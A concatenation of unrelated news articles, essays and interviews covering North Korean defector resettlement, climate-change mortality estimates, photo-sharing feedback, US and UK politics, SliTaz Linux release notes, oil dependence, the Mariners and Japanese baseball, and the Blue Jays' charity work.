hold about defectors. I think that ultimately that sort of policy has an
adverse effect. It discourages and damages the ability and will of defectors to
make a happy life here.
A large number of South Koreans believe
that excessive monetary support is actually a hindrance to the defectors’ will
and ability to adapt and resettle. There has been word that this has caused
problems for South Koreans as well, but the truth is that most defectors use
the resources we allocate to go on to live healthy, productive lives. It is
true that a small minority are looking to take advantage of the system by
avoiding hard working and soaking up as many benefits as possible. You might
view this as a flaw in the system.
12. What is the most important aspect of
the policies that support defectors?
The most important thing to do is to equip
these individuals with the skills and knowledge necessary to adjust to life
here in South Korea. This kind of effort contributes to an optimistic portrayal
of life in South Korea that the defectors can relay to their families in the
North. Secondly, I think helping the defectors to live productive working and
social lives in South Korea will help South Koreans have a positive view of
them.
We talk a lot about how unification is
coming and what we need to do to be prepared for that, but helping the current
generation of defectors adjust to life here forms the basis of a model that can
be used down the line. That’s why it is so important to create and sustain an
environment that is mutually beneficial to defectors and South Koreans. The
future of unification depends on it.
13. In the future, we can expect even
larger amounts of defectors to arrive here. What steps can average South
Koreans make in order to smooth the transition for these defectors?
It takes two to tango, doesn’t it? And we
have a saying that habits that you pick up as a child tend to continue on
through old age. It’s certainly true that North Koreans have to work hard in
order to learn and lead prosperous lives here, but I think that us South Koreans
also have a responsibility to contribute to an atmosphere of tolerance,
understanding, and collaboration. Understanding and forgiveness are the most
attractive attitudes for South Koreans to take with regards to assisting our
defector friends.
13-1. Director Kim, I’d like to ask you a
personal question. You were the director of Hanawon’s Elementary School program
from 1999 to 2001. I’m curious about that experience. What was the most
difficult experience? What was the most rewarding?
I believe that my time as director of that
elementary program was the most fruitful and rewarding period of my
33-year-long professional life. Before starting that job, I was working at the
Ministry of Health and Welfare on unification preparedness. I was then transferred
to the Ministry of Unification. Before working at Hanawon, I was the section
chief of resettlement support services. After my appointment to the elementary
school program, I was tasked with handling over 3,000 students. I feel a
special connection and affection for those students, even to this day. They
contact me from time to time and I’m able to give them advice about this and
that. It is just such a rewarding job.
13-2. We’ve all seen that you are likely
the foremost expert on defector resettlement and it’s clear that you are
working hard to help these defectors. Given your experiences and position, I’m
curious |
their crime was necessary to save lives, could not be substantiated.
In the trial, for which I was an expert witness, crucial questions were how many people does climate change kill, and what proportion is the UK responsible for? I was surprised to discover that nobody knows. Scientists such as myself are involved in programmes to measure CO2 emissions, air temperatures, sea-ice loss and the much more complex impacts on birds, rainforest trees and coral reefs. We know that climate change-related events are killing people, yet there is no comprehensive global monitoring program to document the lives lost due to climate change. There is no official climate-change body count.
Admittedly, the impact of climate change on human health and mortality is difficult to quantify. There is no comparison group of people not exposed to climate change. Deaths are often due to multiple causes. And while the probability of a particular event occurring under modified climate conditions can be estimated, no single event can be solely attributed to climate change. The biggest obstacle is the sheer variety of effects it has on health. These include direct effects such as drowning in floods and complex indirect effects, such as falling crop yields which increases malnutrition and changes in the spread of infectious diseases such as malaria. Furthermore, care must be taken to subtract any positive health impacts on climate change, such as the reduced effects of cold weather on health in a warming world.
The World Heath Organisation publishes the only global estimate of the number killed by climate change - about 150,000 annually. Worryingly, this estimate comes from a single modelling study in 2002, and includes only four impacts of climate change (deaths from one strain of malaria, malnutrition, diarrhoea-type diseases and flooding). It is, as the authors point out, a highly conservative first estimate and, by now, considerably out of date.
Why are we relying on a single, limited, out-of-date study for our information on the numbers of people killed by climate change? This is not a criticism of the WHO; the real question is why they are apparently alone in this effort.
The core of the climate-change community, of course, is that group studying the atmosphere. Their questions therefore don't often relate directly to human health. The medical profession is obviously more interested in saving lives now than in the slower and longer term effects of climate change, and so have been late in engaging with the question.
Naturally, funding influences which questions are answered. Politicians have not asked for a body count. But why not? Perhaps there are parallels with another politically charged issue involving widespread mortality, where nobody counted: the war in Iraq. Governments probably do not want to hear about people dying in foreign lands because of their own choices. Who is going to fund comprehensive studies when the headline might read "British carbon emissions responsible for 3,000 deaths last year"?
The precise relationship between greenhouse gas emissions and deaths that both the environmentalists and Judge Cooper wanted information on should not be beyond scientists in the future. Equivalent statements are routinely made by medical specialists, such as the proportion of all stroke deaths attributable to hypertension in a given year, or attributing lung cancer deaths to passive smoking. It is merely a question of deciding whether it is an important question to answer.
Such an understanding is essential for two quite different reasons. First, it is a basic issue of justice. The dead should be remembered and their families and friends should understand the factors involved in their deaths. Second, it seems likely that the numbers of people killed by climate change has been significantly underestimated. This means that, in addition to issues of the morality of equating human lives with the time spent waiting in airport queues, such cost-benefit analyses used to shape government policy with major climatic impacts, such as building a new runway at Heathrow, are likely to be biased by underestimating the cost in human lives of such decisions.
· Dr Simon Lewis is a Royal Society research fellow at the Earth and Biosphere Institute, University of Leeds
[email protected] Curse Of Expectation
If a tree falls in the woods and no one is there to hear it fall, does it still make a sound? If the tree is a photo posted to Flickr, apparently the answer is a resounding no, not at all. At least on some accounts.
In my long history with Flickr, even in its heyday of rich, thoughtful activity, reactions to photos I posted on the service have always been hit or miss. Some of my personal favorites from my early days of sharing photography proudly online were all but ignored.
“But how could this be?”, I would think to myself, “this photo is my favorite!”. It’s a commonly misplaced emotion among photographers and has been for ages. Many who post images on photo sharing services fall into this trap which has recently been compounded by the cursory double taps and brief comments that we are used to seeing on Instagram. In my experience and belief, the feedback I expect on a photo posted to Instagram versus an image I post to Flickr is entirely different.
Instagram is built for casual, mass consumption and sharing mostly lifestyle photos. The reactions to these shots of day to day life and “look what I’m doing now” moments are decidedly more quick, friendly, ah ha! sorts of moments. Those using it to share more serious work simply have to come to terms that its a mixed bag of educated reactions within the service (same goes for using Tumblr as a means to share photographic work).
Flickr and other similar services, on the other hand, were built for and perused by a community of fellow photographers, both pro and amateur, and is not as much of a hangout for casual users. While there is still some of the same casual favoriting that happens on Instagram, you can expect your audience to be at least a bit more critical of what they are seeing simply because they are also photographers and in some subtle way, your competition.
If the end goal of posting an image online is to get a pat on the back then I’m not sure how long photography as it stands today can survive before the novelty wears thin and those wishing to get more serious about the craft get frustrated and quit before they have a chance find their voice. Well, outside of copycats that piggyback on passing trends.
I have always seen lack of interest in a photograph as a telling indication that there is perhaps something I had overlooked in my assumption that all of my fans would fall head over heels for this or that image. I have lived through my fair share of disappointment after getting little to no fan fare for an image I really loved. Figuring out what kinds of images drew the most attention did not come without seemingly endless frustration and second guessing. Letting the reaction of the general public define your journey as a photographer is a long and arduous path to take as a hopeful explorer.
If you do choose to start making informed reactions or decisions based on feedback left through social media sites there are three dynamics you have to gauge the reaction of image with, on Flickr or otherwise; The amount of views the image gets, which can be distorted if you post a blind link from twitter or another service you are well established on, the amount of favorites or likes an image gets, and last and usually most sensitively read into, the amount of comments an image receives.
When checking how many views an image receives you can see how much general interest there is for your photo based on the people that you have given access to see it. If you post an image on Flickr without posting it to any community groups or linking to the photo through other social services then you are gauging these views based purely on those that follow you as a contact on Flickr or those who may have your feed plugged into their RSS reader. If you get a lot of views based on this metric alone then you have the right to assume that the image was at least good enough to peak someones curiosity and take the time to click through to see it in higher detail.
If you share a link to your photo on another service such as Twitter then this metric gets distorted because you have to take into account the amount of fans/followers that are clicking a link simply to see what is hiding behind it which then brings us to favorites. It’s one of the most tricky things to gauge because of the expectations we all hold for images we personally are very fond of. Don’t let yourself fall victim to the hollow victory of a high number of favorites.
If someone sees your image on Instagram they most likely saw it from within the App, are already a member, and can easily praise you with a quick double tap. With Flickr there is maybe less of a chance that those who found you through a social media link are also members of the service and if you are not a member then you have no favorite button to press (though 500px does have a clever “starter” account and the additional metric of “vote”).
Never underestimate the power of a personal fan of yours liking an image just because you’re the one that took it or, alternatively, users like myself who reserve favorite buttons for images that left an honest impact on them. Sometimes I wonder if I am too stingy with a like button but all is fair in a world where a ‘like’ is sometimes worth about as much as gum stuck to the bottom of your shoe.
Last but obviously not least we have comments which are a slippery slope. There are the single word commenters, the personal story commenters, the brown nosing commenters, the modest commenters… While it’s easy to fall into feeling disappointed in not getting comments on a photo or post I feel it’s the least important gauge to judging how much people enjoyed an image. Most willing to take time to comment are those with something to gain by doing so. Seems a depressing way to look at it but it’s true in many cases. It’s all too easy to feel burdened by a page capable of receiving comments that remains empty. Another symptom of being conditioned to a world of instant satisfaction.
Is this overanalyzing the subject? Maybe to some of you. Most of these observations came about over years of using various social communities as well as personal sites to learn what readers react the most too and why. Not only based on my own work but in seeing what works for others as well.
—
Digging deeper
From that knowledge I have also noticed other details about what kind of photos are better received than others. Most notably, it’s absolutely vital to understand who your target audience is. Images of family are not as often enjoyed by a wide audience, especially a younger one. Only those who feel close to your point of view or have families of their own tend to react to this type of imagery.
There are micro communities of photographers among any sharing service and having an understanding of your personal style and knowing where it fits within these communities is key to finding an audience that is more likely to enjoy the work you produce. Finding a few active groups on Flickr and participating within them can go a long way to sharing your work with an audience interested in a more specific idea or approach. Also worth considering, which is the trickiest one to say out loud I think, is the fact that amateur photography is highly competitive to be a part of these days. When I first started to take my photography more seriously I stumbled through years worth of trial and error.
Unlike many photographers online, I have chosen to leave nearly all of my old work up for anyone to see. Looking back at early Flickr posts or browsing through my original twistedsun site you can see a clear evolution within my style. In the early days before the weight of social media I felt a lot more at ease experimenting in public. It took seemingly forever to get to the point where I could gauge reactions without taking silence so negatively and eventually know what images would be appreciated even before posting them.
I can not stress how important it is not to let the pressure of posting a photo only to have no one pay it any attention stop you from enjoying what you do. You can jump from service to service all you want but the only thing that will change the reactions you get is your own personal development and reputation as a photographer which, like anything, takes time and patience. Heres a little secret, the grass is more or less the same shade of green no matter where you go.
If it’s honest critiques you are looking for, posting to social sharing sites is the last place you should expect much of any fulfilling feedback. I have seen some groups or blogs online attempt public critiques asking for open, honest criticism of submitted photos but I find this to be an anxious filled path to walk. In my opinion, it is important to get critiques from people you are familiar with and trust, not anonymous users of the internet that may or may nor be just as lost as you are. Many well established photographers online may be too busy to field many emails asking for advice but I think you would be surprised how many will take the time to help out someone with real questions beyond, “do you like this photo? Why doesn’t anyone like it but me?”.
—
This write up, for those of you who may not be savvy to his writing, was written as a response to a post written by Shawn Blanc about his feelings on sharing photos online, specifically his waining faith in posting his favorite photos to Flickr versus his images posted to Instagram. His story is similar to many I have heard from photographers trying to find a satisfying outlet for their growing ambitions. Positive feedback is important and of course it’s natural to want to find a place where you can soak up as much as possible but on the other side of the coin we discover that a community will only give as much as you put into it.
I admire his feeling toward using printed photos and books as a means to look back on images and feel a sense of accomplishment or pride even if only with friends and family. I love having monthly printed books full of my Yesterday Was Only photographs, it’s like having a magazine of my own life delivered to my door. There is nothing wrong with taking great photos of family, friends, and life simply to have and to cherish on your own terms.
The only real disagreement I have with Shawn’s article, is the closing statement: “At the end of the day, Flickr is the only place I’ve got to put my best photographic work. But it doesn’t feel like the right place. As much as I love the service, it’s just not cutting it. And I suspect I’m not alone.”
I feel the last line is especially misleading, not only for some of his followers who would read into this as a reasonable argument to jump ship, but for the fact that after a write up about his dissatisfaction with Flickr because his personal expectations he disses the service as a whole by tossing his arm around anyone else with similar disappointments and more or less says, “what do ya’ say guys, lets go to another club, this place doesn’t get me”, as if the cool kid others will follow out simply because of the reputation that precedes him. I fully realize this was not his intent in writing this but it certainly felt that way.
As I mentioned a few miles back where I started off today, even when Flickr was the poster boy of photo sharing online there were countless accounts, including my own at times, that felt like ghost towns. It’s the nature of expectation and the process of breaking into a new scene. Those jumping around from service to service or posting their DSLR shots to Instagram in a last ditch effort should stop to consider the amount of time it takes to develop a reputation among the now tens of thousands of other photographers also vying for the same clicks and remember that our own tunnel vision and personal connection with our own work greatly effects our overall expectations when posting online.
I mean zero disrespect to shawn here, keeping in mind Shawn’s deep curiosity for many connoisseur centric activities. I think the way he feels is completely normal considering the time, energy, and excitement he has put into his latest hobby and as he stated in his write up, I’m sure he is in fact very much not alone. He is the most straightforward and humble voice in the tech community today and his entrance into the world of photography has been a joy to follow along with, especially because of his open book approach.
So the next time you wonder why there is not a pile of new notifications waiting for you like Christmas morning after sharing a few new photographs online, don’t fret, press on and keep shooting! One of the biggest steps in growing as a photographer is learning how to take criticism. Only those with the patience to fight through times of self doubt or frustration will discover their voice behind the lens of a camera, it’s as simple as that.With Harvard Law Professor Elizabeth Warren gaining ground in the Massachusetts Senate race, US Senator Scott Brown's campaign decided there was nowhere to go but negative. Brown has blasted Warren for months, charging that she claimed Native American heritage to take advantage of university affirmative action employment policies. In the first debate between the two, Brown went so far as to say that Warren did not look Indian.
But his campaign finally overreached. At a recent Boston campaign event, a group of Brown supporters, including some members of his Senate staff, taunted Warren's backers with tomahawk chops and pseudo war chants. Suffice to say that such displays don't go down well with Native Americans.
Brown's first apology wasn't enough for the Cherokee Nation. "A campaign that would allow and condone such offensive and racist behavior must be called to task for their actions," Principal Chief Bill John Baker said in a statement. Brown was finally forced to come up with a stronger mea culpa and a zero tolerance policy on any future stunts.
The no-more-Mr-Nice-Guy strategy is fraught with perils for Brown. He won his Senate seat, in part, thanks to his carefully crafted persona as a genial, regular Joe in an old barn coat who cruises around the state in a pickup truck. Even long-time Boston Mayor Thomas Menino, a Democratic warhorse if there ever was one, counts Brown as a friend and waited as long as politically possible before endorsing Warren.
The feisty Warren is easygoing and personable on the campaign trail. But she's opted against being either warm and fuzzy or too in-your-face where it counts for most voters: on television. Her response to the heritage controversy has been muddled and only recently has she come out with a more robust response.
Dial up the wayback machine and the personable Brown might well have been making short work of Warren, as he did with state Attorney General Martha Coakley in the 2010 special election to fill the late Senator Ted Kennedy's seat. But in this Senate race, personal appeal is bumping up hard against the realities of party politics in a presidential election year. According to Alan Wolfe, a Boston College political science professor:
"If we lived in a world in which we vote for the candidate [as an individual], you couldn't lose as a middle class person by voting for either, but we don't live in that world. Party … matters right now more than the person, and the parties right now have very different approaches to the middle class."
The two candidates break even on the crucial issue of middle class "cred". Warren often describes herself as growing up on the "ragged edge of the middle class". She worked as a waitress as a young teenager, after her father had had a heart attack. Her self-description could just as easily also apply to Brown, whose working mother briefly relied on welfare.
So, Brown's strategy is to keep Warren off her game, which runs on her deep knowledge of the economy, consumer affairs, and Wall Street, lest she get more traction in turning the race into a referendum on the national Republican party and Brown's Senate record.
Four of five recent state-wide polls showed Warren edging out in front of Brown in what remains a very close race. Warren picked up her Democratic national convention bounce and ran with it. She hits all the right notes for her Democratic base on Massachusetts middle-class worries like unaffordable mortgages, student loan and credit card debt and bad guys like "Big Oil" and "millionaires and billionaires". For his part, Brown passed up a Republican national convention speaking slot – a move that deliberately distanced him from Mitt Romney, the state's former governor and his political mentor.
In the Senate, Brown has little room to maneuver on controversial issues like tax policy that are central to Republican orthodoxy. Few Massachusetts likely voters believe that he would raise tax rates on the wealthy Americans. Indeed, he's opposed the "Buffett rule" and lifting Bush era tax cuts on higher-income earners while preserving them for workers making less than $250,000.
Bay State voters are cool toward their former governor – President Obama is expected to trounce Romney easily here – and cooler still toward the conservative Republicans who dominate the national party. Yet, a strong Democratic turnout doesn't guarantee victory for Warren in a state where independents comprise more than 50% of the electorate and historically have few qualms about voting for moderate Republicans like Brown.
Which is why the tomahawk/chant episode could be a pivotal moment. It recalls a ghost of campaigns past: the 2006 Massachusetts gubernatorial race. Kerry Healey, the Republican candidate and Romney's lieutenant governor, deployed an ad loaded with powerful racial overtones against the Deval Patrick, the African-American political newcomer. The tactic backfired badly: Healey never recovered and lost to Patrick in a rout. He is now in his midway through his second term; she advises the Romney campaign.
Much is riding on the mood of the Massachusetts electorate. Do voters believe that Brown is still an affable guy who understands their issues better and can make himself heard in a politically polarized capital? Or is the Harvard law school maverick and consumer protection champion the best person to send to Washington?
Clearly, Brown has opted to keep voters focused on his view of Warren's personal shortcomings. That could be a costly gamble for a nice guy.The odds of passing a minimum wage hike in the Republican-controlled Texas Legislature are slim.
But with the minimum wage of $7.25 unchanged for many years, House Democrats on Tuesday once again pitched a variety of proposals in hopes of increasing pay for some of the lowest-paid Texans.
“If we’re going to be looking out for working families, we ought to be about the business of seeing to it that they can move themselves above poverty as much as possible and to be able to afford themselves and get off of government assistance like food stamps, CHIP and Medicaid," state Rep. Senfronia Thompson of Houston told the House Business and Industry Committee in laying out her proposal.
Thompson’s proposal would increase the minimum wage incrementally, reaching $10.10 per hour by 2022. A separate measure by state Rep. Chris Turner of Grand Prairie would ask voters to approve a constitutional amendment to set the minimum wage at $10.10.
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Some Democrats want to go even higher. The minimum wage would go up to $15 under proposals by state Reps. Roberto Alonzo of Dallas and Ron Reynolds of Missouri City. And another proposal by state Rep. Armando Walle of Houston would also ask voters to approve a hike to $15.
The Democratic bill authors pitched the increases as a way to improve life for low-income Texans and to reduce the number of people enrolled in government assistance programs. An individual is classified as living in poverty if they make less than $12,082 a year. A Texas resident working 40 hours a week at the minimum wage would make just about $3,000 more than that, but that’s still low enough to qualify for some government assistance programs, the Democrats pointed out.
But Republicans on the committee appeared skeptical of the proposals and raised concerns about wage inflation and a possible negative impact on small businesses.
“I just worry we’re going to benefit one group of people to the detriment of another,” state Rep. Jason Villalba of Dallas said of the possibility that a higher wage requirement could actually reduce employment.
State Rep. Hugh Shine of Temple said he worried wage inflation would have “second- and third-order effects” on Texas businesses and ultimately “adversely affect the economy.” And state Rep. Jonathan Stickland of Bedford pointed out that the business community did not want a minimum wage hike.
“Why haven’t those people self-imposed this if it’s so obvious that this is a good idea?” Stickland said.
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Throughout the hearing, Democrats also insisted that many Texans working minimum-wage jobs are heads of households — many of whom are working multiple jobs to make ends meet — and not teenagers working part-time jobs as opponents claimed.
In 2015, 111,000 of the nearly 6.1 million hourly workers in Texas made $7.25 an hour, while 176,000 were paid less, according the the U.S. Bureau of Labor Statistics. A majority of those workers were women.
“All they want to do is get paid for the work that they do — nothing more or nothing less,” Walle told the committee.
For years, Democrats in the Legislature have been unsuccessful in their push for minimum wage increases even as other states — 29 as of January 2016 — have set minimum wages higher than the federal requirement.
During the previous legislative session, House Democrats filed several proposals to increase the minimum wage, but only one measure made it to the full House for a vote. That proposal would have asked voters to approve a constitutional amendment setting the minimum wage at $10.10, but it was voted down on a mostly party-line vote with only two Republicans supporting the legislation.
Because of the Legislature's historical unwillingness to touch the issue at the state level, advocates for higher minimum wages have instead looked to local governments for wage increases. But any hikes at the municipal level are limited to local government employees or private-sector contractors that do business with those municipalities because state law pre-empts local governments from setting a city- or county-wide minimum wage that could require the private sector to increase wages for the lowest-paid employees.
Pitched as efforts to “restore local control,” two other proposals by House Democrats — state Reps. Justin Rodriguez of San Antonio and Lina Ortega of El Paso — would essentially reverse that state law.
Ortega told the panel that her proposal “does not automatically increase the minimum wage, but it does give local government [the power] to do so.”
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When Stickland questioned whether local control on this issue meant local governments could set minimum wages lower than the federal requirement, Ortega responded that her bill would only allow for increases.
“They can’t violate federal law,” she said.
It’s unclear whether any minimum wage proposal will make it out of committee, which is chaired by a Democrat but made up of three Democrats and four Republicans. The bills were left pending in committee on Monday.Image caption Mr Willetts said middle class women had been the first beneficiaries of new educational opportunities
Labour has called on David Willetts to withdraw comments in which he appeared to suggest feminism was the "single biggest factor" responsible for a lack of social mobility.
The universities minister gave a briefing to journalists travelling with Nick Clegg in Mexico, ahead of the publication by the government of a social mobility strategy.
Asked what was to blame for a lack of social mobility the Daily Telegraph quoted him saying: "The feminist revolution in its first-round effects was probably the key factor.
"Feminism trumped egalitarianism. It is not that I am against feminism, it's just that is probably the single biggest factor."
A spokesman at Mr Willetts' department said they had not disputed the quotes in the article.
The newspaper reported Mr Willetts as saying there had been an "entirely admirable transformation of opportunities for women" which meant that "with a lot of the expansion of education in the 1960s, 70s and 80s, the first beneficiaries were the daughters of middle-class families who had previously been excluded from educational opportunities".
'Problems'
And he added: "If you put that with what is called 'assortative mating' - that well-educated women marry well-educated men - this transformation of opportunities for women ended up magnifying social divides.
"It is delicate territory because it is not a bad thing that women had these opportunities, but it widened the gap in household incomes because you suddenly had two-earner couples, both of whom were well-educated, compared with often workless households where nobody was educated."
Yvette Cooper, who is both shadow home secretary and shadow minister for women and equalities, criticised the comments and said they should be withdrawn.
She said: "Now we see why this Tory-led government is hitting women twice as hard as men. Instead of addressing the problems and disadvantages low-income families face, senior Tory ministers have decided women and feminism are to blame."
She added: "David Willetts should quickly withdraw this rubbish and face up to the real problems his policies are causing for young people and women who want to get on."
Mr Willetts made a similar case in his book, published last year, titled The Pinch.20 May 2015 - SliTaz 5.0 RC-3 release The SliTaz team is pleased to announce the new SliTaz 5.0-RC3 release candidate. We have done a huge amount of work fixing bugs from RC2 with about 2500 commits in our Mercurial repositories. All the 4800 packages have been rebuilt to find and fix bugs and to ensure everything can be rebuilt from source by advanced users. We have reshaped Tazpanel and added multi user support. The default user is nobody with some disabled menus. The login button provides more priviledges. Download: slitaz-5.0-rc3.iso [ md5 ]
19 May 2014 - SliTaz 5.0 RC-2 release The SliTaz team is pleased to announce the new SliTaz 5.0-RC2 release candidate. We have done a huge amount of work fixing bugs from RC1 with about 500 commits in our Mercurial repositories. All the 4300 packages have been rebuilt to find and fix bugs and to ensure everything can be rebuilt from source by advanced users. We took a lot of time to improve users experience with our default and custom LXDE desktop. Polkit and udisks configuration has been fixed to correctly handle external devices and internal hard disk partitions. The RC2 supports a new installation method. SliTaz can be installed into a single directory without partitioning any hard disk and this method works with all file systems including NTFS and FAT32. Download: slitaz-5.0-rc2.iso [ md5 ]
02 May 2014 - SliTaz 5.0 RC-1 release The SliTaz team is pleased to announce the availability of the SliTaz GNU/Linux 5.0 Release Candidate 1 (RC-1)! It's very mature, but still requires intensive testing before we'll be able to release a fully stable version. SliTaz 5.0 RC-1 includes many small bug fixes like the improved dialogs for the slitaz-config utility that gives new users the ability to easily setup their systems from a graphical or text interface, Tazpanel boasts a new look and feel and the distribution now has better language support than ever before. We've even fixed support for old ATA hard drives to keep with our tradition of being able to run even on ancient systems. The desktop is again powered by PCmanFM, but with the addition of the trash can and gvfs/udisks support. The packages database has received over 200 package updates and we've added about 50 new packages to the repository. In preparation for the upcoming stable release, we've updated the main website with a new style while making the interface much easier to use. Download the new slitaz-5.0-rc1.iso [ md5 ]
29 Mar 2014 - SliTaz Raspberry Pi release The SliTaz team is pleased to announce the SliTaz Raspberry Pi 20140329 release after 2 years of stabilization and work porting SliTaz to the ARM platform. The release provides the latest packages cross compiled by the official SliTaz Cooker with more than 420 mirrored packages. The base flavor size is 22Mb and the JWM/FOX desktop flavor reaches only 34 Mb. The desktop flavor provides Adie text editor, PathFinder file manager, Links2 web browser, TazIRC, a web server, Dropbear SSH client and many common GNU/Linux command line tools. SliTaz Raspberry Pi also includes the TazBerry Ncurses utility to configure the system and the SliTaz ARM CGI remote control interface with a custom RPi boot plugin. To use SliTaz RPi: download a flavor tarball, extract it, run the install.sh script and boot your Raspberry Pi. slitaz-rpi-desktop-20140329 (34 Mb) - slitaz-rpi-base-20140329 (22 Mb) - SliTaz Raspberry Pi HomeAnd better still, he has been meeting with numerous financial heavyweights on both sides of the isle and will deliver his program on Friday. The same old thinking and the same old people who created this mess have to go. It’s not a matter of giving the boot to one or two people. The problems in our financial system are much broader than that and go layers deep. Of course, we could say the same about all of the Bush-McCain people who have been running the country. Their half-baked theories are bringing us all down.
Obama also mocked McCain’s promise to fire the head of the Securities and Exchange Commission if elected.
“I think that’s all fine and good but here’s what I think,” Obama said. “In the next 47 days you can fire the whole trickle-down, on-your-own, look-the-other way crowd in Washington who has led us down this disastrous path.
“Don’t just get rid of one guy. Get rid of this administration,” he said. “Get rid of this philosophy. Get rid of the do-nothing approach to our economic problem and put somebody in there who’s going to fight for you.”
Obama came up with yet another way to poke fun at McCain for his comment Monday that the fundamentals of the economy were strong. “This comment was so out of touch that even George Bush’s White House couldn’t agree with it when they were asked about it. They had to distance themselves from John McCain.”Speaking this afternoon to an audience at the National Press Club in Washington this afternoon, the CEO of FedEx said that the U.S. dependence on foreign oil is a threat to the well-being of the entire country.
After terrorism and the proliferation of weapons of mass destruction, America’s dependence on imported oil “represents the biggest single threat to our nation’s economy and national security,” said Frederick W. Smith, served as an officer in the U.S. Marine Corps before joining FedEx.
“No one fuel source — or producer — would be able to hold our transportation system and our economy hostage the way a single nation can disrupt the flow of petroleum today,” he said.
Smith made the comments as co-chairman of the Energy Security Leadership Council, comprised of senior business officials and retired military generals, in a speech titled “Confronting the Energy Threat: Electrification of Transportation as the Path Toward A Stronger Economy and Enhanced National Security.”
The group is backing a plan that would encourage the use of an electrical grid to power the nation’s transportation system, rather than relying mostly on foreign oil.
Seventy percent of all the trips Americans make in any given day are less than 40 miles, Smith said, and technology is producing batteries that can produce enough electricity to meet those needs now.
He also said that the electrical grid proposal would increase jobs by 3 million more by 2050 than if the plan were not implemented.
“$147 per barrel oil and $4-$5 per gallon gasoline are less than a year behind us. And if there is one thing I can absolutely guarantee you today, it is this: that was not the last oil shock we will ever see. Far from it, said Smith.
“We cannot prevent oil price shocks. Events across the world, from terrorist attacks and cartel collusion to accidents and natural disasters, will continue to affect global petroleum prices, sometimes dramatically,” he said. “In the past, that has been a recipe for disaster. We have seen five economic recessions since the early 1970s — and each one of them was preceded by or was concurrent with a significant spike in oil prices.”
Smith also said that half of military expenditures go protecting vulnerable oil supply lines.
President Eisenhower, noted Smith, believed a 20 percent dependence was potentially harmful, while we are currently importing roughly 60 percent from overseas, including from sources hostile to the country’s interests.Two weeks ago, Seattle Mariners General Manager Jerry Dipoto made a trip to Japan. Searching for outside-the-box possibilities to fill out the M’s roster in 2018, he scouted several notable stars of Nippon Professional Baseball including veteran starter Hideaki Wakui and reliever Yoshihisa Hirano.
He also took a look at Shohei Ohtani.
If you are a regular reader of Lookout Landing, you already know that Shohei Ohtani is arguably the best baseball player ever to come out of Japan, a one-of-a-kind, two-way superstar who whacks dingers and throws 102 mph. Oh yeah—and he’s 23 years old.
We’ve discussed the possibility of Ohtani’s arrival in Seattle here, here, here, and most recently, here. In fact, it’s become something of an obsession of ours to devise cunning strategies for courting the so-called Japanese Babe Ruth. So, if you’re interested in writing him a gushy letter, or composing him a peppy song, or sending him a celebratory sack of salmon steaks, or creating macaroni art that depicts us all holding hands while the Ohtani-led Mariners win the World Series, it probably couldn’t hurt.
Needless to say, Shohei Ohtani would be a priceless addition to the team, and would almost certainly usher in a dynasty unlike any Mariners baseball—or likely professional sports—has ever seen, irrevocably altering the entire course of human history.
But this article isn’t about that. It’s about something even bigger. It’s about the existence of baseball in Seattle as we know it.
Amidst the flurry of shameless speculation about Shohei Ohtani’s future, we figured this is as good a time as any to look to the past. What follows is a brief exploration of the distinctly Japanese legacy of the Seattle Mariners, in which we unearth some neglected history, celebrate a few fan-favorite players, and humbly attempt to honor this unique aspect of the team’s identity.
Seattle is among the most prominent Japanese cultural hubs in the United States. In fact, there has been a large and thriving Japanese-American community in the Greater Seattle Area since the mid-1880’s, after the Chinese Exclusion Act opened the door for other East Asian groups to immigrate.
In the economic boom following WWII, Seattle flourished as a gateway between the U.S. and Asia, a key connecting point of commerce and industry along the Pacific Rim. Because of this association, in 1982, Japanese gaming giant Nintendo moved its American headquarters from New York City to Redmond, Washington. And 10 years later, in an precedented move that shocked the American baseball community, Nintendo President Hiroshi Yamauchi purchased the floundering Seattle Mariners from Indianapolis-based radio tycoon Jeff Smulyan. The deal was highly controversial, as MLB commissioner Fay Vincent and a |
recognition among our peers. Professional sport has such an important place in delivering on social good. It is tremendous to be recognized for our efforts off the field to use the team, our sport, our brand, our resources and assets to provide opportunities in sport and education with the goal of improving the lives of the tens of thousands of children we have set out to serve.
How much money does Jays Care raise in a year?
We raised close to $3 million in 2013 (net, before disbursements) and have a goal close to $3.6 million this year. We are on track to invest $3.2 million in 2014 in programs, grants and capital projects across Canada bringing us to 52 capital projects creating safe space for youth, national partnerships with Boys & Girls Clubs and the Y providing Rookie League programs in 140 communities across the country, $1 million partnership with Pathways to Education to provide support for kids to graduate High School and go on to post-secondary education, and a national partnership with KidSport to provide subsidized registration fees for children who otherwise can't afford to play organized baseball. And here at home, the Jays Care Community Clubhouse hosts more 2,800 children, youth and families annually from charitable organizations around the province for Blue Jays home games, not to mention, we have invested in hundreds of charitable organizations serving children through our Grand Slam Grants program.
Which are your favourite fundraisers?
Tough question! All of them! The Curve Ball and The Charity Golf Classic are our biggest (and fanciest), and the Charity Home Run Challenges are favorites because we get to do them across the country - the Sportsnet Charity Broadcast Auction presented by TD has been tremendous for not only giving our fans access to unique opportunities, but we have had so many terrific stories come from the fans that have purchased and participated in the experiences--it makes it really fun for us to get to make some of these once in a lifetime experiences come to life for fans that have supported the charity.
Also, last year, we started a Young Professionals Committee. We crossed our fingers and hoped to get a few interested people on board to help us with a fan fundraiser - well we had over 100 people apply and an amazing group of 25 individuals put together a CHANGE UP Campaign that raised $117,000 for Jays Care! This year they are at it again, they have expanded the network and in addition to the 20+ YP committee, we now have a Young Professionals Network of more than 150 people regularly engaged in our community efforts and fundraising on behalf of Jays Care. It is so exciting to see this passionate group of people so committed to helping us serve kids across Canada.
Can you tell us about a couple of your favourite Jays Care fund recipients?
Rookie League is one of my personal favorites for several reasons;
1) It's our program, in partnership with Toronto Community Housing (TCH), the Boys & Girls Clubs (BGC) of Canada and the Y...I know it reaches the kids that need the support, and we get to mold it and add to it, and edit as we go to make sure it meets the needs of the communities we serve. In 2009, when TCH came to us and said they needed to ensure that Rookie League had some type of focus or offering for youth (the program is geared to 6-12-year-olds--they were looking for something for 14+), we were able to work with our partner to develop a Rookie League Champions youth employment program. Now, we hire close to 200 youth each summer to help support Rookie League in their communities. Not only do they get practical experience, a paycheck, and something for their CV, they get training in conflict resolution, building a resume, coaching certification, etc. And they are ambassadors for the Rookie League kids in their own communities. I think it has made the program that much stronger and more relevant and I know that the employment opportunities are also working to give many youth alternatives to negative influences in their neighborhoods.
